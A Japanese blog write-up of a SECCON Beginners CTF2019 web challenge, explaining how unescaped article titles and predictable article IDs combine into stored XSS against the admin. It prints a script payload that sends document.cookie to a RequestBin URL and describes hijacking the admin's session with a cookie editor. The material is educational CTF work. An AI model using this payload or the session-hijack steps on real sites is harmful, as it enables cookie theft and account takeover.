はまやんはまやんはまやん

hamayanhamayan's blog

Himitsu [Beginners CTF2019 Web379]

https://score.beginners.seccon.jp

前提知識

解説

記事を投稿して、運営に送ることができる。
つまり、自分の書いた文字を他人が見られる。
XSSっぽさがある。

ソースコードも与えられているので、XSSできそうな部分を探す。
大体サニタイジングしていると思うが、記事を入れる所と出す所を見る。
ArticleController.phpがそれっぽい。

入れる所のaddArticleメソッドを見ると、
本文はhtmlspecialcharsでエスケープしている(108行目)
タイトルと概要はエスケープしてない。

出す所のgetArticleメソッドを見ると、特に何もしていないが、
テンプレートエンジンのtwigがうまいことやってくれるみたい。
しかし、bodyだけは生で表示させている。
article.twigの25行目。

しかも、本文の構文で[#記事ID#]によって、他のページのタイトルが埋め込めるという仕様がある。
これらを総括すると、XSSスクリプトをタイトルでどこかの記事に埋め込んで、他の記事から[#記事ID#]でそのタイトルを持ってきて、本文として表示する。
これでXSSが実現できそうだ。

実際にやってみると、記事を参照する所でエラーになる。
記事を作成するときにXSS向けのチェックを行っているようだ。
しかし、存在しない記事に対してのリンクをつけた記事を作成するときにはエラーが出ないので、
普通は記事Aを作って、記事Aへのリンクをつけた記事Bを作るが、
記事Aへのリンクをつけた記事Bを先に作って、記事Aを作ることにする。
なぜ、それができるかというと、記事IDが推測可能であるからである。
ArticleMapper.phpの12-13行目に記事IDを作成している部分を見ると、作成方法が書いてある。

あとは、未来の時刻に対して記事IDを作り、そこへのリンクを貼った記事を作る。
その後、未来の時刻になったら、タイトルにXSSをつけた記事を作る。
これで、最初に作った記事を踏むとXSSが発動するので、これを運営に送りつける。

XSSコードはPHPのセッションIDを奪うために、

<script>document.write("<img src='https://requestbin.fullcontact.com/xxxxx/?v=XSS-" + document.cookie + "'>")</script>

とする。
踏まれると、RequestBinにセッションIDが来る。
あとは、Google Chrome+EditThisCookieでクッキーを書き換えれば、運営のアカウントに入れるので、flag記事を参照してゲット。